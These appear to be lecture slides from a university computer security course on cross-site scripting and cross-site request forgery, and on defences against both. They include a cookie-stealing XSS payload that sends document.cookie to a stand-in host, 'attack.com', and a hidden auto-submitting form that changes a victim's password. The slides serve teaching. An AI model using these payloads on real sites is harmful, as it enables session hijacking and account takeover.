CMSC 414 Computer and Network Security Lecture 24

1. CMSC 414Computer and Network SecurityLecture 24 Jonathan Katz

2. Administrivia • Zeller-Felten paper on webpage • HW4 • Final exam reminder + study guide • Course evaluations • www.CourseEvalUM.umd.edu

3. Cross-site scripting (XSS) • Can occur whenever an attacker can influence a script executed at a legitimate host, e.g.: • Dynamically generated pages (search, errors, other) • E.g., http://good.com/error.php?msg=an+error+occured • What happens if the attacker sendshttp://good.com/error.php?msg=<script>...</script>

4. user clicks… user logs in hijack session malicious URL credential sent to attacker malicious code run Exploits using XSS <script>var i=new Image; i.src=“http://attack.com”+document.cookie;</script> http://good.com/error?msg=<script>var+i=new+Image;+i.src=“http://attack.com”%2bdocument.cookie;</script>

5. Key points… • Same-origin policy is respected • The attacker’s script was running in the context of good.com(!), so it was able to access the cookie • Phishing likely to succeed • Users only notice that the link is to http://good.com • Using https does nothing to prevent this attack…

6. Stored XSS vulnerabilities • Occurs when data submitted by a user is stored at the server, and later displayed to other users • Comment on blog post • Wiki • Web-based email • Social networking sites • MySpace Samy worm

7. user logs in post malicious code credential sent to attacker malicious code run Exploits using XSS

8. Notes… • No need for phishing any more! • Guaranteed that user is logged in when they run the malicious script • (In previous case, user may not be logged in when they click the attacker-generated URL)

9. Payloads for XSS attacks • Hijack session credentials • Site defacement • E.g., http://good.com/error.php?msg=We+are+going+out+of+business • Injecting trojan functionality • To obtain, e.g., credit card info • Perform actions on behalf of authenticated users • In an automated fashion! • Without leaving trace of IP address! • More…

10. Cross-domain interactions • Recall… • <script src=http://good.com/foo></script> in bad page would cause legitimate script to run in context of bad page! • Instead, malicious page can initiate a POST request to legitimate page, with arbitrary parameters • Due to the way web authentication is handled (i.e., using a cached credential), http requests will look as if they come from the legitimate user if they are logged in when they view the malicious page

11. <form method="POST" name="evilform" target="hiddenframe" action="https://www.good.com/update_pwd"> <input type="hidden" id="password" value=“badpwd"> </form> <iframe name="hiddenframe" style="display: none"> </iframe> <script>document.evilform.submit();</script> Cross-site request forgery (CSRF) 1. Alice’s browser loads page frombad.com 2. Script runs causing evilform to be submitted with a password-change request by loading www.good.com/update_pwd with attacker-specified field evilform 3. Browser sends authentication cookies to good server. Honest user’s password is changed to badpwd!

12. Notes • Due to same-origin policy, bad.com does not have access to any data associated with good.com • When bad.com page loaded, it executes script which sends a POST request to good.com with attacker-specified parameters • Browser sends all cookies for good.com along with this request! • Malicious page cannot read user’s data, but can write to user’s account

13. Notes • CSRF for GET requests is even easier (simply use an <img> tag with a crafted URL)

14. Notes • Can be viewed as failure of principle of complete mediation • User should be required to re-authenticate before changing their password • Also (potentially) principle of least privilege • User should log out of a website if not actively using it

15. Potential CSRF vulnerabilities • Anywhere a client can change server-side state • Facebook profiles • Financial sites • Calendars, etc.

16. Notes • XSS attacks exploit the trust a client browser has in data sent from the legitimate website • But attacker controls what the website sends to the client browser • CSRF attacks exploit the trust the legitimate website has in data sent from the client browser • But attacker controls what the client browser sends to the website • XSS vulnerabilities are “more general” • Simply inject a script that, when viewed, submits a form on behalf of the user with parameters chosen by the attacker…

17. Defenses

18. Preventing XSS • Escaping/encoding input • Validation/sanitization • Suppress/escape <, >, “, etc, … at time they are input by a user • Can apply these techniques at the time data is read, or at the time the resulting page is displayed to the client

19. Preventing XSS • Drawbacks • Sometimes these characters may be legitimate • Unclear when all malicious text is filtered out • Very difficult (impossible?) to get sanitization right • Several sanitizers exist… • …and several exploits of them are known • Better to err on the conservative side

20. Preventing XSS • Some work done on preventing XSS attacks at the browser level • Browser plug-ins (e.g., NoScript) • Browser itself (e.g., Google chrome) • Mitigate XSS attacks for session hijacking • “HTTP-only” cookies sent only to the issuing server • Bind cookies to user’s IP address

21. Preventing CSRF attacks • Inspect referrer headers • HTTP protocol specifies a header indicating the URL of the document from which current request originated • So good.com can try to prevent CSRF attacks by ignoring POST requests if the referrer is not good.com • However… • Referrer fields can be absent for legitimate reasons (e.g., new window; stripped by proxies)

22. Complete mediation • Prevent CSRF attacks by requiring user re-authentication • Not practical to do this all the time • User will be come frustrated! • Can require for ‘high-value’ transactions

23. Client-side protection • (Assumes servers do not use GET requests for modifying data) • Browser plug-in that filters out POST requests unless requesting site and target site satisfy same-origin policy • Might still filter out some legitimate requests

24. Server-side protection • Prevent CSRF attacks by allowing the legitimate server to distinguish links in ‘fresh’ pages it serves, from links embedded in attacker pages • Add authenticated “action token” as hidden field in pages served; check token upon POST request • Same-origin policy prevents 3rd parties from reading the token • Simple idea: embed (nonce, MACk(nonce)) in page • Why doesn’t this work?

25. “Action tokens” • Need a way to bind token to session • At beginning of session, send cookie with random session-id to user • Compute MAC over the URL and the cookie (note that cookie will be sent in any subsequent requests) • This is potentially vulnerable to XSS attacks • Attacker injects script that steals user’s cookie and token